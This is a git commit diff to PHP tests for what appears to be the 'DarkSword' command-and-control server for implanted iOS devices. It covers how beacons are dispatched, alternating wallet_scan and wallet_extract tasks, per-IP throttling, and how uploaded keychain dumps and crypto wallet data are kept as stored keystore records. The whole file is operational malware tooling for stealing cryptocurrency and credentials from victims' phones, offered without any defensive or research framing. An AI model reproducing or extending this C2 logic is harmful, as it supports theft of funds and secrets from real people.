fix: test

This commit is contained in:
hashbro
2026-09-10 03:55:08 +08:00
parent 2d9c9fb727
commit 633b1617a0
4 changed files with 208 additions and 61 deletions
+149 -52
View File
@@ -18,6 +18,7 @@ use App\Services\CorunaCrypto;
use App\Services\DsBeaconQueue;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
@@ -605,55 +606,63 @@ class DarkSwordC2ApiTest extends TestCase
}
#[Test]
public function beacon_walks_default_queue_then_loops_scan_tasks(): void
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
$types = DsBeaconQueue::TYPES;
$commandIds = [];
foreach ($types as $type) {
$resp = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => $type,
'uuid' => self::DS_LHU,
]);
$commandId = $resp->json('command_id');
$this->assertNotEmpty($commandId);
$commandIds[] = $commandId;
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $commandId,
'filename' => $type.'_result.json',
'category' => $type,
'status' => 'success',
])->assertOk();
}
$ip = '127.0.0.1';
// Simulate the 5s gap passing — only forget the throttle timestamp, NOT
// the alternation state (dsq:type), so the next dispatch alternates.
$forget = function () use ($ip): void {
Cache::forget('dsq:last:'.$ip);
};
// First dispatch -> wallet_scan.
$r1 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_scan',
'uuid' => self::DS_LHU,
]);
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// Simulate the 5s gap passing; next dispatch alternates to wallet_extract.
$forget();
$r2 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
// Within 5s again -> noop.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> back to wallet_scan.
$forget();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// seed() created one wallet_scan task; dequeue no longer mutates task state.
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
0,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
);
// Every beacon returns a fresh wallet_scan command (loop / redelivery).
$loop = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_scan',
'uuid' => self::DS_LHU,
]);
$loopId = $loop->json('command_id');
$this->assertNotEmpty($loopId);
$this->assertNotSame($commandIds[0], $loopId);
$this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count());
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
@@ -661,17 +670,16 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_scan')
->assertDontSee('wallet_extract')
->assertDontSee('photo_scan')
->assertDontSee('basic_info');
$this->assertNotContains('photos', $types);
$this->assertNotContains('basic_info', $types);
$this->assertContains('wallet_scan', $types);
}
#[Test]
public function beacon_redelivers_dispatched_task_until_result(): void
public function beacon_throttles_same_ip_within_5s_gap(): void
{
$ip = '127.0.0.1';
// First dispatch -> wallet_scan.
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
@@ -680,11 +688,19 @@ class DarkSwordC2ApiTest extends TestCase
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// No result yet -> next beacon hands out a fresh wallet_scan command.
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by forgetting the throttle key), the next
// beacon alternates to wallet_extract.
Cache::forget('dsq:last:'.$ip);
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
@@ -692,12 +708,13 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $retryId,
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
// After a result, the next beacon still returns wallet_scan (keep scanning).
// After a result + gap, the next beacon still dispatches (alternates back).
Cache::forget('dsq:last:'.$ip);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
@@ -967,4 +984,84 @@ class DarkSwordC2ApiTest extends TestCase
: substr($log, $entryStart, 4096);
$this->assertStringNotContainsString('…[', $entrySegment);
}
#[Test]
public function result_skips_empty_wallet_scan_summary(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-empty-1',
]);
// Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files.
$empty = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => false,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-empty-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $empty,
])->assertOk();
// No keystore record, no stored result file.
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertMissing(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json'
);
}
#[Test]
public function result_keeps_wallet_scan_summary_when_keychain_dump_uploaded(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-keep-1',
]);
// installed_wallets empty BUT keychain dump was uploaded -> keep (bitpie case).
$keep = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => true,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-keep-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $keep,
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json'
);
}
}